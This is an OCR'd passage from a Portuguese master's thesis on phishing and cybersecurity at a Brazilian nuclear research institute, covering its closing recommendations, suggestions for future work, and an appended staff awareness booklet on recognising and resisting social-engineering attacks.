ofensiva que objetivaram verificar as lacunas referentes aos fatores humanos e aos
recursos tecnoldgicos. Sendo assim, propomos melhorias na segurancga cibernética
que possam fortalecer os recursos de seguranca cibernética e mitigar ataques

direcionados, como o realizado nesse trabalho.
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Como indicado na literatura, ficou evidente que nao existe uma solugéo Unica
que ofereca protecédo eficaz. E necessario adotar uma defesa em profundidade, ou
seja, defesa em camadas, para garantir a seguranca e protecéo de sistemas, redes,
informacdes e ativos contra ameacas cibernéticas. A defesa em profundidade envolve
a implementacéo de varias camadas de medidas protetivas, cada uma projetada para
detectar, prevenir ou mitigar diferentes tipos de ameacas.

Algumas ac¢les importantes que podem ser adotadas pelas organizacoes
incluem:

e Treinamento e conscientiza¢ao sobre seguranga.

e Adocdao de Next Generation Firewall (NGFW) com DPI (Deep Packet Inspection),
capaz de monitorar parte do trafego de entrada e saida dos equipamentos
conectados a rede.

e Gerenciamento de patches, softwares antivirus, firewall, IDS, IPS, SIEM e SOC.

e Deteccao avancada de malware.

e Deteccao de anomalias de eventos.

e Prevencao contra perda de dados (DLP).

Sob este prisma, ressalta-se a necessidade de fortalecer os fatores humanos
para enfrentar os desafios em constante evolucdo apresentados pelas ameacas
cibernéticas. Para isso, foi disponibilizada uma cartilha de conscientizacao contra os
principais atagues de engenharia social, direcionada ao corpo de colaboradores da

instituicdo, a fim de mitigar os riscos potenciais desses ataques.
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6. SUGESTOES PARA TRABALHOS FUTUROS

Neste capitulo, sdo apresentadas as sugestfes para trabalhos futuros que
podem estender e aprofundar o conhecimento desenvolvido nesta pesquisa. Essas
sugestbes baseiam-se nos resultados e nas conclusGes obtidas de acordo com o
estudo de caso que foi aplicado no instituto de pesquisa do setor nuclear, bem como
as possiveis lacunas ou areas de interesse identificadas durante o estudo, podemos
apontar:

6.1 Investigacdo de outras ameacas cibernéticas que podem impactar o setor

nuclear brasileiro

Embora esta pesquisa tenha se concentrado em ataques de phishing
juntamente com o modelo Cyber Kill Chain aplicado em instala¢des nucleares, ha
diversas outras ameacas relevantes que poderiam ser exploradas em estudos futuros.
Sugere-se a investigacdo de ameagas como ransoware especifico para o setor
nuclear, ataques de negacdo de servico (DDoS), ameacas internas. Essas
investigacbes podem fornecer insights adicionais sobre a seguranca cibernética em

instalacdes nucleares e aprimorar as estratégias de defesa.

6.2 Realizacdo de um estudo mapeando a matriz do MITRE ATT&CK para ICS

como base no setor nuclear brasileiro

Como visto na literatura, as ameacas aos sistemas criticos nem sempre se
originam exclusivamente da internet, como evidenciado pelo notério caso do virus
Stuxnet. Para garantir uma maior protecao desses sistemas, € essencial adquirir um
conhecimento profundo das técnicas empregadas pelos atacantes nos sistemas de
controle e aquisicdo de dados de supervisdo (SCADA) e sistemas de controle
industrial (ICS). Sugere-se a realizacdo de um estudo aprofundado da matriz ICS do
MITRE ATT&CK, desse modo, pesquisas futuras poderdo identificar as ameacas
cibernéticas atuais mais significativas que podem impactar o setor nuclear brasileiro,
proporcionando valiosas percepcdes para o0 aprimoramento de medidas protetivas

cibernéticas.
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6.3 Medidas de protecao e defesa cibernética através da implementacéao de SOC
e SIEM

Considerando a importancia critica da seguranca cibernética em instalacdes
nucleares, sugere-se explorar medidas adicionais de protecdo e defesa cibernética.
Pesquisas futuras poderdo se concentrar no desenvolvimento e na avaliacdo de
estratégias avancadas de detecc¢do, prevencado e resposta a ataques cibernéticos.

Uma area promissora para investigacdo é o uso de tecnologias emergentes,
como inteligéncia artificial e aprendizado de maquina, para aprimorar as capacidades
de deteccdo e resposta. Outro estudo que pode ser realizado em conjunto, seria
basear-se estudos em um modelo de Centro de Operacgdes de Seguranca (SOC) e de
um Sistema de Gerenciamento de Eventos e Informac¢des de Seguranca (SIEM)
especificos para ambientes industriais, baseados em plataformas de seguranca de

cddigo aberto, como o caso do Wahzu, pode trazer beneficios significativos.

6.4 Aplicacdo de inteligéncia artificial e aprendizado de maquina para seguranca

cibernética no setor nuclear

Uma area promissora para pesquisas futuras é a aplicacdo de inteligéncia
artificial e aprendizado de maquina na deteccao proativa de ameacas cibernéticas em
instalagdes nucleares. Algoritmos avancados poderdo ser desenvolvidos para analisar
padrées de trafego (principalmente de saida), comportamentos de usuarios e outros
dados relevantes, a fim de identificar possiveis ameacas com antecedéncia e fornecer

alertas precoces para acgoes de defesa.
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APENDICE A

CARTILHA DE EDUCACAO E CONSCIENTIZACAO EM SEGURANCA
CIBERNETICA CONTRA OS ATAQUES DE PHISHING

“Desvendando a Engenharia Social: conheca as principais ameacas e
proteja-se!"

AGOSTO 2023
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O que é Engenharia Social?

A engenharia social € uma estratégia de ataque que se
baseia ha manipulagéo psicoldgica para levar as pessoas a
cometerem equivocos.

x A pratica de engenharia social envolve o uso de técnicas
manipulativas para alcancar determinados objetivos, muitas
vezes fraudulentos ou enganosos, tais como:

a) Obter acesso ndo autorizado a ativos fisicos e digitais de
uma organizacao.
b) Persuadir e convencer as pessoas a realizarem
procedimentos e divulgares informacdes confidenciais.
c) Realizacao de fraudes contra organizagdes com objetivos
diversos, incluindo motivacdes politicas, governamentais,
roubo de informac¢des confidenciais e propriedade intelectual
Os engenheiros sociais tém como principal empreendimento instigar e influenciar
erros humanos.

Vamos refletir um pouco do ponto de vista de um cibercriminoso!!

Considere a seguinte situacao: um cibercriminoso deseja obter acesso a um e-mail e

senha.

Qual seria a maneira mais simples desse criminoso tentar e alcancar

sucesso?

Opcéo 1 - Hackear o computador e roubar as suas credenciais de logins.
Opcéao 2 - Criar uma historia ficticia, muito parecida com a realiade, com o objetivo de

persuadir alguém a fornecer essas informacdes.

Embora a Opc¢éo 1 também seja vélida, os engenheiros sociais acreditam que, frequentemente, é mais
simples persuadir as pessoas a fornecerem voluntariamente suas credenciais de login do que recorrer

a ferramentas tecnologicas sofisticadas.

Os engenheiros sociais visam hackear os

fatores humanos, nao os computadores!
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Principais tecnicas de engenharia social mais comuns

IE Phishing: E uma tentativa de obter informac6es confidenciais,

e como senhas e niumeros de cartdo de crédito, por meio de e-mails,

u mensagens ou sites falsos que se fazem passar por entidades
confiaveis.

Spear Phishing: Uma forma mais direcionada de phishing, em
gue os atacantes personalizam suas mensagens e informacdes

para se adequarem a um alvo especifico, como um funcionario

de uma empresa, aumentando a probabilidade de sucesso.

Whaling: E uma forma de spear phishing direcionada a individuos

de alto nivel hierarguico em uma organiza¢do, como executivos,

C

N CEOs e diretores. O objetivo é obter informacdes confidenciais ou

acesso privilegiado.

Pretexting: Nessa técnica, o atacante cria uma histoéria ficticia ou
pretexto convincente para obter informacdes pessoais ou

confidenciais do alvo.
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Burlando o Fator Humano

Por que a engenharia social consegue ter sucesso?

Muitas das vezes, estamos ocupados, cansados ou distraidos, tornando-se
uma oportunidade para os cibercriminosos. Quando isso acontece, torna-se mais facil

cometer erros.
Os criminosos tentam encontrar a pessoa certa, no momento oportuno e com

a histéria adequada. Desse modo, torna-se possivel burlar o raciocinio l6gico da

pessoa.

2

ﬁgﬂ i No setor nuclear, a negligéncia de apenas um
—‘M—‘ usuario em relacdo as politicas de seguranca da

/ % organizacdo pode ser suficiente para possibilitar o
i $

acesso de atacantes a sua infraestrutura.

A importancia de todos os usuarios aderirem rigorosamente as medidas de
seguranca € fundamental para proteger a integridade e a confidencialidade dos

sistemas.



118

Alguns exemplos de como as pessoas sao alvos de ataques

cibernéticos e como previnir essas acodes

Os engenheiros sociais buscam coletar o maximo de informacgfes sobre seus
alvos, a fim de parecerem legitimos.

Eles empregam técnicas persuasivas para burlar o pensamento critico.

Seu objetivo é nos levar a tomar decisdes rapidas e agir sem considerar as
consequéncias.

Normalmente, suas abordagens vém disfarcadas de ofertas atraentes, como

descontos, prémios, sorteios, entre outros.

CONFIANCA E URGENCIA

Como geralmente ocorre:

Essa é a tatica frequentemente empregada em ataques de phishing, onde os
cibercriminosos buscam induzi-lo a clicar rapidamente em um link ou baixar um
anexo presente em um e-mail.

No spear phishing, os atacantes desenvolvem mensagens personalizadas para
aumentar a chance de interacdo do alvo.

Como evitar:

Desenvolver um senso critico e manter a calma ao ler qualquer mensagem de
e-mail.

Evitar clicar diretamente em links enviados no corpo do e-mail.

Inspecionar cuidadosamente a URL para a qual o link est& direcionando. Ao
passar o mouse sobre o hiperlink em seu aplicativo de e-mail, sera possivel
verificar a verdadeira URL que esta oculta.

Verificar o dominio e a presencga de um certificado digital valido no site.
Utilizar o site VirusTotal para verificar a autenticidade e possiveis ameacas
associadas a URL.

Antes de executar qualquer arquivo recebido por e-mail ou midia USB, realizar
uma inspecédo adicional pelo site VirusTotal ou por um software antivirus
confiavel. Endereco do site: https://www.virustotal.com



https://www.virustotal.com/
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=
888

> 1 vVIRuUSTOTAL

Analyse suspicious files, domains, IPs and URLs to detect malware and other
breaches, automatically share them with the security community.

FILE URL SEARCH 49

Choose file

By submitting data above, you are agreeing to our Terms of Service and Privacy Policy, and to the sharing of
your Sample submission with the security community. Please do not submit any personal information;
WirusTotal is notresponsible for the contents of your submission. Learn mare.

(@ Want to automate submissions? Check our AP, or access your APl key.

e E recomendado pesquisar a data de criacdo dos dominios, uma vez que
dominios recém-criados podem ser indicios de possiveis golpes.

e Endereco do site Whois para pesquisas de dominos “.com.br” :
https://registro.br/tecnologia/ferramentas/whois/

2 ACESSAR CONTA

Somos Contato

Sobre Dominios~ | Tecnologia~ | Ajudav

Home » Tecnologia » Ferramentas > Whois

Whois

educanuclear.com.bi Q

Exibir resultado completo

Copyright ® NIC.br
Autilizagao dos dados abaixo & permitida somente conforme descrita na Pos
reprodugao, em particular para fins publicitarios ou propésitos similares.
2023-07-29 11:11:01 -03.00 - IP: 2804:14d:5c32:921 7-3daf-7c47:4433 2a8d

e, sendo proibida a sua distribuigac, comercializaggo ou

Dominio educanuclear.com.br

TITULAR Eduardo Andrade de Jesus

BR
TITULAR EDAJE24
EDAJE24
SERVIDOR DNS ns-1392.awsdns-46.0rg >
SERVIDOR DNS ns-1893.awsdns-44.co.uk

SERVID

ns-371.awsdns-46.com ~
SERVIDOR DNS ns-683.awsdns-21.net v

Sim

14/04/2023 #26043105 I
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e Endereco do site Whois para pesquisas de dominos “.com”:
https://www.whois.com/whois/

=
A Whois
4 Identity for everyone

DOMAINS WEBSITE cLoub HOSTING SERVERS EMAIL SECURITY WHOIS SUPPORT 2 10GIN A=1""

Whois Domain Lookup

Whois search for Domain and IP

Example: gg.com, google.

‘A !j Identity for &

DOMAINS ‘WEBSITE CLOUD HOSTING SERVERS EMAIL SECURITY ‘WHOIS SUPPORT ’. LOGIN
educanuclear.com Updated Zhoursage ) Interested in similar domains?
B Domaln information ededucanuclearcom [
Domain educanuclearcom R
educathorium.com [ =
Gougle LLC
| 20230422 | T —
2024-04-22 m
Updated On: 2023-05-23
studioeducanuclear.co [
Status: clientTransferProhibited m
Name Servers: ns1064.hostgator.com.br
ns1065.hostgator.com.br
educanuclear.net E

, Registrant Contact

ededucanuclear.net n

e E fundamental observar com atenc&o os links de acesso e as solicitacdes de
trocas de senhas em aplicativos de e-mails, a fim de assegurar a legitimidade
da origem. Em alguns cenarios, as paginas desses aplicativos podem ter sido
clonadas. E importante verificar cuidadosamente antes de prosseguir.

P IEN — Instituto de Engamwetrs

C (A Naoseguro | educanuclear.com.br/

Sign In

Username

Password

Show

([0 Stay signed in

Web App Version

Default
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MEDO E DESESPERO

Como geralmente ocorre:

Receber uma intimagéo para comparecer em juizo.

Receber um telefonema alegando que um pagamento esta atrasado.

Receber uma mensagem de texto informando que uma conta foi comprometida.
Ser alvo de golpes durante momentos de pandemia, elevado estresse, como
desastres naturais, doencas ou dificuldades financeiras.

Como evitar:

Sempre desconfie antes de tomar qualquer acéo, especialmente ao lidar com
comunicacdes suspeitas.

Em caso de davida, comunique imediatamente o setor de Tecnologia da
Informacéo (Tl) da empresa para obter orientacdo e verificagao.

Bloqueie e exclua imediatamente mensagens ou e-mails suspeitos que possam
representar ameacas a seguranca.

Verifique se o remetente € auténtico antes de abrir links ou anexos.

Evite fornecer informacdes confidenciais ou pessoais sem confirmar a
legitimidade da solicitag&o.

Esteja alerta durante momentos de elevado estresse, pois 0s cibercriminosos
podem tentar se aproveitar dessas situacdes para aplicar golpes.

CURIOSIDADE E SIMPATIA

Como geralmente ocorre:

a) As pessoas sao naturalmente curiosas, quando alguém encontra uma unidade

flash USB qualquer, pode conecta-la para visualizar o seu contetdo.

b) Essa é uma forma facil de se infectar computadores com malware para roubo

de dados.

c) Alguém se aproxima de uma entrada do escritério com as maos ocupadas,

carregando coisas. A reacdo simpatica pode permitir que um invasor tenha

acesso fisico ndo autorizado a uma area protegida.
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Como evitar:
Risco de midias USB desconhecidas:

e Evite conectar unidades flash USB de locais publicos ou desconhecidos, pois
podem conter malware.

e Use unidades flash de fontes confidveis e verifique o conteddo com software
antivirus antes de abrir os arquivos.

Ameaca de malware atraveés de dispositivos USB:

e Cibercriminosos podem deixar unidades flash USB maliciosas em areas
estratégicas para atrair vitimas.

e Conscientize os funcionarios sobre 0s riscos e proiba o uso de dispositivos
desconhecidos nos computadores da empresa.

Acao de invasores utilizando engenharia social:

e Invasores podem se passar por entregadores, funcionarios de limpeza ou
visitantes para obter acesso néo autorizado.

e Implemente procedimentos rigorosos de identificacdo e autorizacdo para
garantir que apenas pessoas autorizadas acessem areas restritas.

Treinamento em conscientizag&o sobre seguranca:

e Realize treinamentos regulares para conscientizar os funcionarios sobre as
taticas de engenharia social e 0s riscos associados.

e Eduque a equipe sobre como identificar sinais de possiveis ameagas
cibernéticas e como reagir em situacfes suspeitas.

Politicas de seguranca cibernética e fisica:

e Estabeleca politicas claras de seguranca abordando o uso de dispositivos
desconhecidos e a identificacdo de visitantes.

e Reforce a importdncia do cumprimento dessas politicas para proteger a
seguranca geral da organizacao.

Protecdo com softwares de seguranca:

e Mantenha todos os sistemas protegidos com softwares de seguranca
atualizados, incluindo antivirus e firewalls.

e Faca verificacbes periodicas para detectar e bloguear possiveis ameacas
cibernéticas.
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Como se proteger dessas ameacas

A engenharia reversa € uma pratica educacional pela qual analisamos
minuciosamente algo para entender como foi construido ou criado. No contexto de
segurancga cibernética, a engenharia reversa também pode ser aplicada para entender

as taticas e estratégias utilizadas pelos engenheiros sociais.

Para evitar cair em golpes de Engenharia Social, é possivel aplicar um tipo de

"engenharia reversa" na forma de medida preventiva:
1°) Questione tudo!

e Vocé conhece pessoalmente a pessoa que estad entrando em contato com
VOCE?

e Qual é o motivo especifico para essa pessoa entrar em contato com vocé?

e Por que ela precisa exatamente dessa informacédo que esta solicitando?

e Existe alguma evidéncia da existéncia real da empresa que esta entrando em
contato com vVOCé?

¢ Antes de clicar em um link, verifique se ele é seguro e proveniente de uma fonte
confiavel.

e Antes de abrir um arquivo, certifique-se de que ele é seguro e ndo contém
malware ou virus.

e Verifique a autenticidade de um programa de capacitacdo ou evento antes de
fornecer informacdes pessoais ou financeiras.

e Esteja alerta para possiveis sinais de golpes e questione qualquer solicitagdo
suspeita que receber.
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2°) Fique atento!

¢ Fique atento as solicitacdes de dinheiro ou informacdes confidenciais.

e Tenha cuidado com pedidos para instalar softwares de acesso remoto.

e Preste muita atencdo ao contexto da situacao.

e Seja extremamente cuidadoso com mensagens contendo links ou anexos.
e Mesmo que parecam vir de alguém conhecido, seja criterioso.

e Na&o presuma que alguém é quem afirma ser.

e Limite o que vocé compartilha em midias sociais e outros féruns.

e Considere configurar seus perfis sociais como privados.

e Utilize o bom-senso para frustrar a maioria dos golpes.

e Mantenha a consciéncia situacional tanto on-line quanto na vida real.

3°) Comunique! @

o O

(L11y)

e Entrar em contato com a equipe de TIC (Tecnologia da Informacédo e
Comunicacéao) da organizacao informando o ocorrido e dar ciéncia aos demais
membros.

e Ao receber um e-mail de phishing, telefonema suspeito ou identificar qualquer
possivel ameaca cibernética, relate imediatamente.

e A comunicacdo de ataques cibernéticos € crucial para que as organizacoes
investiguem o ocorrido e tomem medidas para mitigar possiveis danos.

Por fim: Lembre-se!

¢ A maioria dos ataques cibernéticos de engenharia social tem como objetivo
criar historias convincentes e encontrar alguém vulneravel para acreditar nelas.

e Como "firewalls humanos", é nossa responsabilidade usar o bom senso, pensar
antes de clicar e sempre seguir as politicas de seguranca.

e Caso receba um e-mail de phishing, denuncie imediatamente para que
possamos investigar a situacao e alertar os outros membros da organizagao.

Video: Principais formas de como evitar golpes de phishing.



https://youtu.be/tYJoLveXcxM

